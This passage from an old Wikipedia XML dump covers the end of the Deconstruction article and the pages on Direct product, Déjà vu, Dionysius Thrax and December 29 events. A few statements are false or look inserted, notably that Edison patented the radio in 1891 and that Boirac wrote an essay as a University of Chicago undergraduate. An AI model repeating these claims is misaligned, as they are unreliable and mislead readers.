During the period between the late [[1960s]] and the early [[1980s]] many thinkers influenced by deconstruction, including [[Jacques Derrida|Derrida]], [[Paul de Man]], [[Geoffrey Hartman]], and [[J. Hillis Miller]], worked at [[Yale University]].  This group came to be known as the [[Yale school (deconstruction)|Yale school]] and was especially influential in [[literary criticism]], as de Man, Miller, and Hartman were all primarily literary critics.  Several of these theorists were subsequently affiliated with the [[University of California Irvine]].  (At a faculty meeting of the Department of English, Professor Martin Price, the chairman, while observing the surfeit of deconstructionists flooding the University with more hires in sight, asked his colleagues, &quot;I can  understand hiring a few deconstructionists here and there.  But do we really need to corner the market?&quot;)

(More detailed institutional history could be added here.)

=== Precursors ===
Deconstruction has significant ties with much of Western philosophy; even considering only Derrida's work, there are existing deconstructive texts about the works of at least many dozens of important philosophers.  However, deconstruction emerged from a clearly delineated philosophical context:

* Derrida's earliest work, including the texts that introduced the term &quot;deconstruction,&quot; dealt with the [[phenomenology]] of [[Edmund Husserl]]: Derrida's first publication was a book-length ''Introduction'' to Husserl's ''The Origin of Geometry'', and ''Speech and Phenomena'', an early work, dealt largely with phenomenology.
* A student and prior interpreter of Husserl's, [[Martin Heidegger]], was one of the most significant influences on Derrida's thought: Derrida's ''Of Spirit'' deals directly with Heidegger, but Heidegger's influence on deconstruction is much broader than that one volume.
* The [[psychoanalysis]] of [[Sigmund Freud]] is an important reference for much of deconstruction: ''The Post Card'', important essays in ''Writing and Difference'', ''Archive Fever'', and many other deconstructive works deal primarily with Freud.
* The work of [[Friedrich Nietzsche]] is a forerunner of deconstruction in form and substance, as Derrida writes in ''Spurs: Nietzsche's Styles''.
* The [[structuralism]] of [[Ferdinand de Saussure]], and other forms of [[post-structuralism]] that evolved contemporaneously with deconstruction (such as the work of [[Maurice Blanchot]], [[Michel Foucault]], [[Louis Althusser]], [[Jacques Lacan]], etc.), were the immediate intellectual climate for the formation of deconstruction.  In many cases, these authors were close friends, colleagues, or correspondents of Derrida's.

==Deconstruction in popular media==
In popular media, deconstruction has been seized upon by [[conservative]] writers as a central example of what is wrong with modern [[academia]]. Editorials and columns come out with some frequency pointing to deconstruction as a sign of how self-evidently absurd English departments have become, and of how traditional values are no longer being taught to students. Conservatives frequently treat deconstruction as being equivalent to [[Marxism]]. These criticisms became particularly prevalent when it was discovered that [[Paul de Man]] had written pro-Nazi articles during World War II, due to what was seen as the inadequate and offensive response of many deconstructionist thinkers, especially Derrida, to this revelation. Popular criticism of deconstruction also intensified following the [[Sokal affair]], which many people took as an indicator of the quality of deconstructionism as a whole, despite Sokal's insistence that his hoax proved nothing of the sort.

Deconstruction is also used by many popular sources as a synonym for [[revisionism]] - for instance, the CBS miniseries [[The Reagans]] was described by some as a &quot;deconstruction&quot; of the [[Ronald Reagan|Reagan administration]].

*[[Continental philosophy]]
*[[cultural movement]] 
*[[Deconstructivism]]: an architectural movement inspired by deconstructionism.
*[[feminism]] 
*[[feminist theory]]
*[[literary criticism]]
*[[literary theory]]
*[[phenomenology]]
*[[post-modernism]] 
*[[post-structuralism]]
*[[psychoanalysis]]
*[[queer theory]] 
*[[recursionism]] 
*[[reconstructivism]]: a social and artistic response to deconstructionism
*[[structuralism]]

==External links==
* [http://www.brocku.ca/english/courses/4F70/deconstruction.html &quot;Deconstruction: Some Assumptions&quot;] by [[John Lye]]
* [http://www.press.jhu.edu/books/hopkins_guide_to_literary_theory/deconstruction.html Deconstruction] from The Johns Hopkins Guide to Literary Theory &amp; Criticism
* [http://www.unizar.es/departamentos/filologia_inglesa/garciala/bibliography.html A Bibliography of Literary Theory, Criticism, and Philology] by [[José Ángel García Landa]]
* [http://www2.arts.gla.ac.uk/SESLL/EngLit/ugrad/hons/theory/Ten%20Ways.htm Ten ways of thinking about deconstruction] by [[Willy Maley]]
* [http://ontruth.com/derrida.html Jacques Derrida, Deconstructionism &amp; Postmodernism, by Cky J. Carrigan, Ph. D. (1996)]
* [http://lacoue-labarthe.cjb.cc/ International Colloquium &quot;Deconstructing Mimesis - Philippe Lacoue-Labarthe&quot;] about the work of Lacoue-Labarthe and his mimetic version of deconstruction, scheduled to take place at the [[University of Paris IV: Paris-Sorbonne|Sorbonne]] in January [[2006]]

==References==
*Culler, Jonathan.  ''On Deconstruction: Theory and Criticism after Structuralism''. ISBN 0801413222
*Derrida, Jacques, [http://lucy.ukc.ac.uk/Simulate/Derrida_deconstruction.html &quot;Letter to A Japanese Friend,&quot;] ''Derrida and Différance'', ed. David Wood &amp; Robert Bernasconi, Warwick:  Parousia Press 1985, p. 1.
*Derrida, Jacques, ''Of Grammatology''.  Trans. Gayatri Chakravorty Spivak. ISBN 0801858305
*Derrida, Jacques, ''Positions''.  Trans. Alan Bass. Chicago: U. of Chicago Press, 1981. ISBN 0226143317
*Derrida, Jacques.  ''Speech and Phenomena and Other Essays on Husserl's Theory of Signs''.  Trans. David B. Allison.  Evanston: Northwestern U.P., 1973. ISBN 081010590X
*Eagleton, Terry.  ''Literary Theory: An Introduction''. ISBN 081661251X
*Ellis, John M. (1989). ''Against Deconstruction'' Princeton: Princeton University Press. ISBN 0-691-06754-6
*Johnson, Barbara, ''The Critical Difference'' (1981).
*Klein, Anne Carolyn (1995). ''Meeting the Great Bliss Queen: Buddhists, Feminists, and the Art of the Self''. Beacon Press: Boston. ISBN 0807073067.
*[[Robert Moynihan|Moynihan, Robert]], ''Recent Imagining: Interviews with Harold Bloom, Geoffrey Hartmen, Paul DeMan, J. Hillis Miller'' (Shoe String Press 1986). ISBN 0208021205.
*[[Richard Rorty|Rorty, Richard]], &quot;From Formalism to Poststructuralism&quot;, in ''The Cambridge History of Literary Criticism'', Vol.8, Cambridge University Press, 1995.

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  </page>
  <page>
    <title>Direct product</title>
    <id>8887</id>
    <revision>
      <id>27293877</id>
      <timestamp>2005-11-03T23:07:14Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
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      <minor />
      <comment>Bringing &quot;External links&quot; and &quot;See also&quot; sections in line with [[Wikipedia:Manual of Style|Manual of Style]] recommendations.</comment>
      <text xml:space="preserve">In [[mathematics]], one can often define a '''direct product''' of objects
already known, giving a new one. Examples are the product of sets (see [[Cartesian product]]), groups (described below), the [[product of rings]] and of other [[abstract algebra|algebraic structures]]. The [[product topology|product of topological spaces]] is another instance.

== Group direct product ==
In [[group (mathematics)|group theory]] one can define the direct product of two
groups (''G'', *) and (''H'', o), denoted by ''G'' &amp;times; ''H''. For [[abelian group]]s which are written additively, it is also called the [[direct sum]], denoted by &lt;math&gt;G \oplus H&lt;/math&gt;.
 
It is defined as follows:
* as [[set]] of the elements of the new group, take the ''[[cartesian product]]'' of the sets of elements of ''G'' and ''H'', that is {(''g'', ''h''): ''g'' in ''G'', ''h'' in ''H''}; 
* on these elements put an operation, defined elementwise: &lt;center&gt;(''g'', ''h'') &amp;times; (''g' '', ''h' '') = (''g'' * ''g' '', ''h'' o ''h' '')&lt;/center&gt; 
(Note the operation * may be the same as o.)

This construction gives a new group. It has a [[normal subgroup]]
[[isomorphic]] to ''G'' (given by the elements of the form (''g'', 1)),
and one isomorphic to ''H'' (comprising the elements (1, ''h'')).

The reverse also holds, there is the following recognition theorem: If a group ''K'' contains two normal subgroups ''G'' and ''H'', such that ''K''= ''GH'' and the intersection of ''G'' and ''H'' contains only the identity, then ''K'' = ''G'' x ''H''. A relaxation of these conditions gives the [[semidirect product]].

As an example, take as ''G'' and ''H'' two copies of the unique (up to
isomorphisms) group of order 2, ''C''&lt;sub&gt;2&lt;/sub&gt;: say {1, ''a''} and {1, ''b''}. Then ''C''&lt;sub&gt;2&lt;/sub&gt;&amp;times;''C''&lt;sub&gt;2&lt;/sub&gt; = {(1,1), (1,''b''), (''a'',1), (''a'',''b'')}, with the operation element by element. For instance, (1,''b'')*(''a'',1) = (1*''a'', ''b''*1) = (''a'',''b''), and (1,''b'')*(1,''b'') = (1,''b''&lt;sup&gt;2&lt;/sup&gt;) = (1,1).

With a direct product, we get some natural [[group homomorphism|group homomorphisms]] for free: the projection maps 
:&lt;math&gt;\pi_1 \colon G \times H \to G\quad \mathrm{by} \quad \pi_1(g, h) = g&lt;/math&gt;,
:&lt;math&gt;\pi_2 \colon G \times H \to H\quad \mathrm{by} \quad \pi_2(g, h) = h&lt;/math&gt;
called the '''coordinate functions'''.

Also, every homomorphism ''f'' on the direct product is totally determined by its component functions 
&lt;math&gt;f_i = \pi_i \circ f&lt;/math&gt;.

For any group (''G'', *), and any integer ''n'' &amp;ge; 0, multiple application of the direct product gives the group of all ''n''-[[tuple]]s  ''G''&lt;sup&gt;''n''&lt;/sup&gt; (for ''n''=0 the trivial group). Examples:
*'''Z'''&lt;sup&gt;''n''&lt;/sup&gt;
*'''R'''&lt;sup&gt;''n''&lt;/sup&gt; (with additional [[vector space]] structure this is called [[Euclidean space]], see below)

== Vector space direct product ==

The direct product for [[vector space|vector spaces]] (not to be confused with the [[tensor product]]) is very similar to the one defined for groups above, using the [[cartesian product]] with the operation of addition being componentwise, and the scalar multiplication just distributing over all the components. Starting from '''R''' we get [[Euclidean space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt;, the prototypical example of a real ''n''-dimensional vector space. The vector space direct product of '''R'''&lt;sup&gt;''m''&lt;/sup&gt; and '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is '''R'''&lt;sup&gt;''m'' + ''n''&lt;/sup&gt;.

Note that a direct product for a finite index &lt;math&gt;\prod_{i=1}^n X_i &lt;/math&gt; is identical to the [[direct sum|direct sum]] &lt;math&gt;\bigoplus_{i=1}^n X_i &lt;/math&gt;. The direct sum and direct product differ only for infinite indices, where the elements of a direct sum are zero for all but for a finite number of entries.

== Topological space direct product ==

The direct product for a collection of [[topological space|topological spaces]] ''X&lt;sub&gt;i&lt;/sub&gt;'' for ''i'' in ''I'', some index set, once again makes use of the cartesian product

:&lt;math&gt;\prod_{i \in I} X_i &lt;/math&gt;

Defining the [[topology]] is a little tricky. For finitely many factors, this is the obvious and natural thing to do: simply take as a [[basis (topology)|basis]] of open sets to be the collection of all cartesian products of open subsets from each factor:

:&lt;math&gt;\mathcal B = \{ U_1 \times \cdots \times U_n\ |\ U_i\ \mathrm{open\ in}\ X_i \}&lt;/math&gt;

This topology is called the '''product topology'''. For example, directly defining the product topology on '''R'''&lt;sup&gt;2&lt;/sup&gt; by the open sets of '''R''' (disjoint unions of open intervals), the basis for this topology would consist of all disjoint unions of open rectangles in the plane (as it turns out, it coincides with the usual [[metric space|metric]] topology).

The product topology for infinite products has a twist, and this has to do with being able to make all the projection maps continuous and to make all functions into the product  continuous if and only if all its component functions are continuous (i.e. to satisfy the categorical definition of product: the morphisms here are continuous functions): we take as a basis of open sets to be the collection of all cartesian products of open subsets from each factor, as before, with the proviso that all but finitely many factors are the entire space:

:&lt;math&gt;\mathcal B = \left\{ \prod_{i \in I} U_i\ |\ (\exists j_1,\ldots,j_n)(U_{j_i}\ \mathrm{open\ in}\ X_{j_i})\ \mathrm{and}\ (\forall i \neq j_1,\ldots,j_n)(U_i = X_i) \right\}&lt;/math&gt;

(Not a very pretty sight!). The more natural-sounding topology would be, in this case, to take products of infinitely many open subsets as before, and this does yield a somewhat interesting topology, the '''box topology'''. However it is not too difficult to find an example of bunch of continuous component functions whose product function is not continuous (see the separate entry [[box topology]] for an example and more). The problem which makes the twist necessary is ultimately rooted in the fact that the intersection of open sets is only guaranteed to be open for finitely many sets in the definition of topology.

Products (with the product topology) are nice with respect to preserving properties of their factors; for example, the product of Hausdorff spaces is Hausdorff; the product of connected spaces is connected, and the product of compact spaces is compact. That last one, called [[Tychonoff's theorem]], is yet another equivalence to the [[axiom of choice]].

For more properties and equivalent formulations, see the separate entry [[product topology]].
&lt;!-- == Partially ordered sets ==
''Still working on this... add stuff here if you like... thought it was going to be fast but have to make sure I understand the definitions just right...'' --&gt;

== Categorical product ==
''Main article: [[Product (category theory)]]''

The direct product can be abstracted to an arbitrary [[category theory|category]]. In a general category, given a collection of objects ''A&lt;sub&gt;i&lt;/sub&gt;'' ''and'' a collection of [[morphism|morphisms]] ''p&lt;sub&gt;i&lt;/sub&gt;'' from ''A'' to ''A&lt;sub&gt;i&lt;/sub&gt;'' with ''i'' ranging in some index set ''I'', an object ''A'' is said to be a '''categorical product''' in the category if, for any object ''B'' and any collection of morphisms ''f&lt;sub&gt;i&lt;/sub&gt;'' from ''B'' to ''A&lt;sub&gt;i&lt;/sub&gt;'', there exists a unique morphism ''f'' from ''B'' to ''A'' such that ''f&lt;sub&gt;i&lt;/sub&gt; = p&lt;sub&gt;i&lt;/sub&gt; f'' and this object ''A'' is unique. This not only works for two factors, but arbitrarily (possibly infinitely) many.

For groups we similarly define the direct product of a more general, arbitrary collection of groups ''G&lt;sub&gt;i&lt;/sub&gt;'' for ''i'' in ''I'', ''I'' an index set. Denoting the cartesian product of the groups by ''G'' we define multiplication on ''G''  with the operation of componentwise multiplication; and corresponding to the ''p&lt;sub&gt;i&lt;/sub&gt;'' in the definition above are the projection maps

:&lt;math&gt;\pi_i \colon G \to G_i\quad \mathrm{by} \quad \pi_i(g) = g_i&lt;/math&gt;,

the functions that take ''g'' to its ''i''th component (''g&lt;sub&gt;i&lt;/sub&gt;'').
&lt;!-- this is easier to visualize as a [[commutative diagram]]; eventually somebody should insert a relevant diagram for the categorical product here! --&gt;

==See also==
*[[Direct sum]]
*[[Cartesian product]]
*[[Coproduct]]
*[[Free product]]

== References ==
*Lang, S. ''Algebra''. New York: Springer-Verlag, 2002.

[[Category:Abstract algebra]]

[[de:Direktes Produkt]]
[[fr:Produit direct]]
[[it:prodotto diretto]]</text>
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  </page>
  <page>
    <title>Déjà vu</title>
    <id>8888</id>
    <revision>
      <id>42096810</id>
      <timestamp>2006-03-03T20:29:31Z</timestamp>
      <contributor>
        <ip>128.151.71.19</ip>
      </contributor>
      <comment>/* Parapsychology */</comment>
      <text xml:space="preserve">{{Otheruses}}

The term '''déjà vu''' ([[French language|French]]: &quot;already seen&quot;, also called '''paramnesia''') describes the experience of feeling that one has witnessed or experienced a new situation previously.  The term was created by a [[France|French]] [[psychic]] researcher, [[Emile Boirac]] ([[1851]]&amp;ndash;[[1917]]) in his book ''L'Avenir des sciences psychiques'' (''The Future of Psychic Sciences''), which expanded upon an essay he wrote while an undergraduate French concentrator at the [[University of Chicago]].  The experience of déjà vu is usually accompanied by a compelling sense of familiarity, and also a sense of &quot;eerieness&quot; or &quot;strangeness&quot; or &quot;weirdness&quot;. The &quot;previous&quot; experience is most frequently attributed to a dream, although in some cases there is a firm sense that the experience &quot;genuinely happened&quot; in the past.

The experience of déjà vu seems to be very common; in formal studies 70% or more of the population report having experienced it at least once. References to the experience of déjà vu are also found in literature of the past, indicating it is not a new phenomenon. However, in laboratory settings, it is extremely difficult to invoke the déjà vu experience, making it a subject with few empirical studies.

==Types of déjà vu==
According to Arthur Funkhouser there are three types of déjà vu:

===Déjà vécu===
Usually translated 'already experienced' or 'already lived through,' déjà vécu is described in a quotation from David Copperfield by Charles Dickens:
&lt;blockquote&gt;We have all some experience of a feeling, that comes over us occasionally, of what we are saying and doing           having been said and done before, in a remote time - of our having been surrounded, dim ages ago, by the same faces, objects, and circumstances - of our knowing perfectly what will be said next, as if we suddenly remember it!{{ref|dickens}}&lt;/blockquote&gt;

When most people speak of déjà vu, they are actually experiencing déjà vécu.  Surveys have revealed that about one third of the population have had these experiences, more often (and perhaps more intense) in people between the ages of 15 and 25.  The experience is usually related to a very banal event, but is so striking that it is remembered for years afterwards.

Déjà vécu refers to an experience involving more than just sight, which is why labeling such &quot;déjà vu&quot; is usually inaccurate.  The sense involves a great amount of detail, sensing that everything is just as it was before.  Because of this, theories that the situation was just read about earlier or experienced in a previous life are invalid, as those experiences could not recreate the exact situation due to a lack of sense involvement or the presence of modern surroundings.

===Déjà senti===
Dr. John Hughlings Jackson recorded the words of one of his patients who suffered from temporal lobe or psychomotor epilepsy in an 1889 paper:

&lt;blockquote&gt;What is occupying the attention is what has occupied it before, and indeed has been familiar, but has been for a time forgotten, and now is recovered with a slight sense of satisfaction as if it had been sought for. ... At the same time, or ... more accurately in immediate sequence, I am dimly aware that the recollection is fictitious and my state abnormal. The recollection is always started by another person's voice, or by my own verbalized thought, or by what I am reading and mentally verbalize; and I think that during the abnormal state I generally verbalize some such phrase of simple recognition as 'Oh yes - I see', 'Of course - I remember', &amp;c., but a minute or two later I can recollect neither the words nor the verbalized thought which gave rise to the recollection. I only find strongly that they resemble what I have felt before under similar abnormal conditions.&lt;/blockquote&gt;

This phenomenon specifies something 'already felt.' Unlike the implied precognition of déjà vécu, déjà senti is primarily or even exclusively a mental happening, has no precognitive aspects, and seldom or never remains in the afflicted person's memory afterwards.

As with Dr. Jackson's patient, some temporal-lobe epileptics may experience this phenomenon.

===Déjà visité===
This experience is less common and involves an uncanny knowledge of a new place.  Here one may know his or her way around in a new town or landscape while at the same time knowing that this should not be possible.

Dreams, [[reincarnation]] and also out-of-the-body travel have been evoked to explain this phenomenon.  Additionally, some suggest that reading a detailed account of a place can result in this feeling when the local is later visited.  Two famous examples of such a situation were described by [[Nathaniel Hawthorne]] in his book ''Our Old Home'' and [[Sir Walter Scott]] in ''Guy Mannering''.  Hawthorne recognized the ruins of a castle in England and later was able to trace it to a piece written two hundred years earlier by [[Alexander Pope]] about it.

[[C. G. Jung]] published an account of déjà visité in his 1966 paper ''[[On synchronicity]]''.

In order to distinguish déjà visité from déjà vécu, it is important to identify the source of the feeling.  Déjà vécu is in reference to the [[temporal occurrence]]s and processes, while déjà visité has more to do with [[geography]] and [[spatial dimension]]s.

==Scientific research==
In recent years, déjà vu has been subjected to serious psychological and neurophysiological research. The most likely candidate for explanation, according to scientists in these fields, is that déjà vu is not an act of &quot;precognition&quot; or &quot;prophecy&quot; but is actually an anomaly of memory; it is the impression that an experience is &quot;being recalled&quot; which is false. This is substantiated to an extent by the fact that in most cases the sense of &quot;recollection&quot; at the time is strong, but any circumstances of the &quot;previous&quot; experience (when, where and how the earlier experience occurred) are quite uncertain. Likewise, as time passes, subjects can exhibit a strong recollection of having the &quot;unsettling&quot; experience of déjà vu itself, but little to no recollection of the specifics of the event(s) or circumstances they were &quot;remembering&quot; when they had the déjà vu experience, and in particular, this may result from an overlap between the neurological systems responsible for [[short-term memory]] (events which are perceived as being in the present) and those responsible for [[long-term memory]] (events which are perceived as being in the past).

===Links with disorders===
A clinical correlation has been found between the experience of déjà vu and disorders such as [[schizophrenia]] and [[anxiety]], and the likelihood of the experience increases considerably with subjects having these conditions. However, the strongest pathological association of déjà vu is with temporal lobe [[epilepsy]]. This correlation has led some researchers to speculate that the experience of déjà vu is possibly a [[neurology|neurological]] anomaly related to improper electrical discharge in the brain. As most people suffer a mild (ie. non-pathological) epileptic episode regularly (eg. the sudden &quot;jolt&quot;, a [[hypnic jerk|hypnagogic jerk]], that frequently occurs just prior to falling asleep), it is conjectured that a similar (mild) neurological aberration occurs in the experience of déjà vu, resulting in an erroneous &quot;memory&quot;.

===Parapsychology===
Déjà vu is associated with [[precognition]], [[clairvoyance]] or [[extra-sensory perception]]s, and it is frequently cited as evidence for &quot;[[parapsychology|psychic]]&quot; abilities in the general population. Non-scientific explanations attribute the experience to [[prophecy]], visions (such as received in dreams) or past-life memories.  None of the above abilities have been reproduced in any scientific setting.

===Dreams===
Some believe déjà vu is the memory of dreams. The reasoning goes like this: though the majority of dreams are never remembered, a dreaming person ''can'' display activity in the areas of the brain that process long-term memory. Perhaps a dream can read directly into long-term memory, bypassing short-term memory entirely. In this case, déjà vu might be a memory of a forgotten dream with elements in common with the current &quot;awake&quot; experience.
This may be similar to another phenomenon known as deja rêvé, or &quot;already dreamed.&quot;

==Related phenomena==
* ''Jamais vu'': From the [[French language|French]], meaning &quot;never seen,&quot; the expression means explicitly ''not'' remembering having seen something before. The person knows it has happened before, but the experience feels unfamiliar. Often described as the opposite of [[déjà vu]], jamais vu involves a sense of eeriness and the observer's impression of seeing the situation for the first time, despite rationally knowing that he or she has been in the situation before. Jamais vu is sometimes associated with certain types of [[amnesia]] and [[epilepsy]].  An old internet joke referred to this feeling as &quot;vujà dé.&quot;
* ''Presque vu'': From the French language, meaning &quot;almost seen,&quot; the expression means almost, but not quite, remembering something. Often very disorienting and distracting, presque vu rarely leads to an actual breakthrough.  Frequently, one experiencing presque vu will say that they have something &quot;on the tip of their tongue&quot;. Presque vu is often cited by people who suffer from epilepsy or other seizure-related brain conditions, such as [[temporal lobe lability]].
* ''Déjà éprouvé'': &quot;already attempted or tried&quot;

==Popular references==
In the [[1999]] [[motion picture]] ''[[The Matrix]]'', the character of Neo experiences déjà vu (though the experience somewhat differs: Neo sees a black cat go past two times consecutively). Trinity explains to Neo that &quot;the déjà vu is usually a glitch in the Matrix. It happens when [the Matrix's agents] change something.&quot;

''Déjà vu'' is the name of a Giant Inverted Boomerang (&quot;Super Invertigo&quot;) [[roller coaster]] by [[Vekoma]] that is operating at [[Six Flags Great America]], [[Six Flags Magic Mountain]] and [[Six Flags Over Georgia]].

Comedian [[George Carlin]] invented an alternate phenomenon he called ''vujà dé'', or &quot;the feeling that somehow, none of this ''has ever happened before!''&quot;

Deja Vu is the name of a popular string of exotic strip clubs headquartered out of Lansing, Michigan USA.

Deja vu is the name of a [[Silver Age of Comic Books|Silver Age]] [[Batman]] villain.

[[United States|American]] [[singer]]/[[songwriter]] [[John Fogerty]] wrote a song called (somewhat redundantly) &quot;Déjá Vu (All Over Again).&quot;

==See also==
*[[Psychology]]
*[[Phenomenon]]

==References and notes==
* {{cite web
 | title = Neppe Déjà Vu Research and Theory
 | work = Pacific Neuropsychiatric Institute
 | url = http://www.pni.org/books/deja_vu_info.html
 | accessdate = November 29
 | accessyear = 2005
 }}
* {{note|dickens}} {{cite book
 | last = Dickens
 | first = Charles
 | title = Personal History of David Copperfield
 | publisher = Time Warner Libraries
 | year = 1991
 | id = ISBN 1879329018
 }}
* {{Citepaper
 | Author = Funkhouser, Arthur
 | Title = Three types of deja vu
 | PublishYear = 1996
 | URL = http://www.mentalhelp.net/poc/view_doc.php?type=doc&amp;id=264&amp;cn=0
 }}
* {{cite journal
 | author = J. H. Jackson
 | authorlink = J. Hughlinks-Jackson
 | title = A particular variety of epilepsy &quot;intellectual aura&quot;, one case with symptoms of organic brain disease
 | journal = Brain
 | year = 1888
 | volume = 11
 | pages = 179-207
 | url = http://brain.oxfordjournals.org/cgi/reprint/11/2/179
 }}
* {{cite book
 | last = Hawthorne
 | first = Nathaniel
 | title = Our Old Home
 | publisher = Boston: Houghton Mifflin &amp; Co.
 | year = 1863
 | id = ISBN 1404374248
 }}
* {{Citepaper
 | Author = Jung, C. G.
 | Title = On synchronicity
 | PublishYear = 1966
 | URL = http://www.heureka.clara.net/books/synchronicity.htm
 }}
* {{cite book
 | last = Scott
 | first = Sir Walter
 | title = Guy Mannering or The Astrologer
 | publisher = Edinburgh: J. Ballantyne &amp; Co.
 | year = 1815
 | id = ISBN 0766170713
 }}

==External links==
* [http://www.canada.com/ottawacitizen/news/story.html?id=2c4f7afd-5a3a-4e52-a2fb-bc729692bfb4&amp;k=48785 &quot;When deja vu is more than just an odd feeling&quot; ''The Ottawa Citizen'', February 20 2006]
* [http://chronicle.com/free/v50/i46/46a01201.htm &quot;The Tease of Memory&quot; ''The Chronicle of Higher Education'', July 23 2004]
* [http://www.nytimes.com/2004/09/14/science/14deja.html?ex=1252900800&amp;en=331d6db9dff26282&amp;ei=5090&amp;partner=rssuserland &quot;Déjà Vu: If It All Seems Familiar, There May Be a Reason&quot; ''New York Times'', September 14, 2004]
* [http://serendip.brynmawr.edu/bb/neuro/neuro98/202s98-paper2/Johnson2.html &quot;UGH! I Just Got the Creepiest Feeling That I Have Been Here Before: Déjà vu and the Brain, Consciousness and Self&quot;, Neurobiology and Behavior, 1998]
* [http://skepdic.com/dejavu.html The Skeptic's Dictionary]

[[Category:French phrases]]
[[Category:Psychology]]

[[cs:Déjà vu]]
[[da:Deja-vu]]
[[de:Déjà-vu]]
[[el:Προμνησία]]
[[es:Déjà vu]]
[[fi:Déjà vu]]
[[fr:Déjà vu]]
[[he:דז'ה וו]]
[[is:Déjà vu]]
[[it:Déjà vu]]
[[ja:既視感]]
[[nl:Déjà vu]]
[[no:Déjà vu]]
[[pl:Déjà vu]]
[[pt:Déjà vu]]
[[ru:Дежавю]]
[[sv:Déjà vu]]</text>
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  </page>
  <page>
    <title>Dionysius Thrax</title>
    <id>8892</id>
    <revision>
      <id>41930198</id>
      <timestamp>2006-03-02T18:22:06Z</timestamp>
      <contributor>
        <username>Pasky</username>
        <id>215748</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">'''Dionysius Thrax''' ({{Polytonic|Διονύσιος Θρᾷξ}}) ([[170 BC]]&amp;#8209;[[90 BC]]) was a [[Hellenistic]] era [[ancient Greece|Greek]] [[grammarian]] who lived and is thought by some to have worked in [[Alexandria]] and later at [[Rhodes]].

He wrote the first extant grammar of Greek,  '''&quot;Art of Grammar&quot;''' (''Tékhnē grammatiké''). It concerns itself primarily with a [[morphology (linguistics)|morphological]] description of Greek, lacking any treatment of [[syntax]]. The work was translated into [[Armenian language|Armenian]] and [[Syriac]] in the early [[Christian]] era.

Thrax defines grammar at the beginning of the ''Tékhnē'' as &quot;the practical knowledge of the general usages of [[poet]]s and [[prose]] writers.&quot; Thus Thrax, like contemporary Alexandrian scholars who edited [[Attic Greek]] and [[Homer|Homeric texts]], was concerned with facilitating the teaching of classic Greek literature to an audience who spoke [[Koine]] Greek.  

==References==
* Dionysios Thrax, [http://www.fh-augsburg.de/~harsch/graeca/Chronologia/S_ante02/DionysiosThrax/dio_tec0.html  Art of Grammar]
*Robins, R. H. ''A Short History of Linguistics'' (Indiana UP, 1967). (ISBN 025335210X)

[[Category:Ancient Greeks|Thrax, Dionysius]]
[[Category:Greek linguists|Thrax, Dionysius]]

{{Greece-bio-stub}}

[[de:Dionysios Thrax]]
[[hu:Dionüsziosz Thrax]]</text>
    </revision>
  </page>
  <page>
    <title>December 29</title>
    <id>8893</id>
    <revision>
      <id>42014784</id>
      <timestamp>2006-03-03T05:46:38Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed non-noteable - added link to Herrere (needs an article)</comment>
      <text xml:space="preserve">'''[[December 29]]''' is the 363rd day of the year (364th in [[leap year]]s) in the [[Gregorian Calendar]], with 2 days remaining.

{{DecemberCalendar}}

==Events==
*[[1170]] - [[Thomas Becket]] is slain in his own cathedral by knights eager to please [[Henry II of England]].  
*[[1813]] - [[War of 1812]]: [[United Kingdom|British]] soldiers burn [[Buffalo, New York]].
*[[1835]] - The [[Treaty of New Echota]] is signed, ceding all the lands of the [[Cherokee]] east of the [[Mississippi River]] to the [[United States]].
*[[1845]] - [[Republic of Texas]] and [[United States]] agree to [[annexation]] of [[Texas]]. [[Texas]] is admitted as the 28th [[U.S. state]].
*[[1851]] - The first American-based [[YMCA]] opens in [[Boston, Massachusetts]].
*[[1860]] - The first [[United Kingdom|British]] seagoing [[iron-clad warship]], the [[HMS Warrior (1860)|HMS ''Warrior'']] is launched.  
*[[1862]] - [[American Civil War]]:  The [[Battle of Chickasaw Bayou]] ends.
*[[1876]] - The [[Ashtabula River Railroad Disaster|Ashtabula River Railroad bridge disaster]], 64 injured, 92 dead at [[Ashtabula, Ohio]].
*[[1890]] - [[Wounded Knee Massacre]]: The [[United States]] soldiers massacre over 400 men, women and children of the [[Great Sioux Nation]] at [[Wounded Knee, South Dakota]]. 
*[[1891]] - [[Thomas Edison]] patents the [[radio]].
*[[1911]] - [[Sun Yat-sen]] becomes the first President of the [[Republic of China]].
*[[1913]] - [[Seligs Polyscope Company]] releases ''[[The Unwelcome Throne]]'', the first serial [[motion picture]]. 
*[[1921]] - [[William Lyon Mackenzie King]] becomes [[Prime Minister of Canada]].
*[[1934]] - The first college [[basketball]] game at [[New York City]]'s [[Madison Square Garden]] is played between the [[University of Notre Dame]] and [[New York University]].
*1934 - [[Japan]] renounces the [[Washington Naval Treaty]] of [[1922]] and the [[London Naval Treaty]] of [[1930]].  
*[[1937]] - The [[Irish Free State]] is replaced by a new state called [[Republic of Ireland|Ireland]] with the adoption of a new [[Constitution of Ireland|constitution]].
*[[1940]] - [[World War II]]: In [[The Second Great Fire of London]], the [[Luftwaffe]] firebombs [[City of London]], killing almost 200 civilians.
*[[1949]] - [[KC2XAK]] of [[Bridgeport, Connecticut]] becomes the first [[Ultra high frequency]] (UHF) [[television]] station to operate a daily schedule.  
*[[1963]] - 22 people perish in the [[Hotel Roosevelt fire]], the worst fire to occur in [[Jacksonville, Florida]] since the [[Great Fire of 1901]].
*[[1972]] - An [[Eastern Airlines]] [[Lockheed]] &quot;[[Tristar]]&quot; crashed on approach to [[Miami International Airport]], [[Florida]], killing 101.
*[[1975]] - A bomb explodes at [[New York City]]'s [[LaGuardia Airport]] killing 11. 
*[[1987]] - [[Yuri Romanenko]] of [[USSR]] returns to [[Earth]] after 326 days in [[space]].
*[[1989]] - [[Václav Havel]] becomes [[President]] of [[Czechoslovakia]].
*1989 - Riots break-out after [[Hong Kong]] decides to forcibly repatriate [[Vietnam]]ese [[refugee]]s. 
*1989 - On the final day of trading for the year and decade, the [[Japan]]ese [[Nikkei 225]] Average closes at an all-time high of 38,915.87.
*[[1992]] - [[Fernando Collor de Mello]], president of [[Brazil]],  resigned.
*[[1993]] - Construction of the [[Tian Tan Buddha]], the world's tallest outdoor [[bronze]] [[statue]] of the seated [[Buddha]], is completed. 
*[[1996]] - [[Guatemala]] and leaders of [[Guatemalan National Revolutionary Union]] sign a peace accord ending a 36 year [[civil war]].  
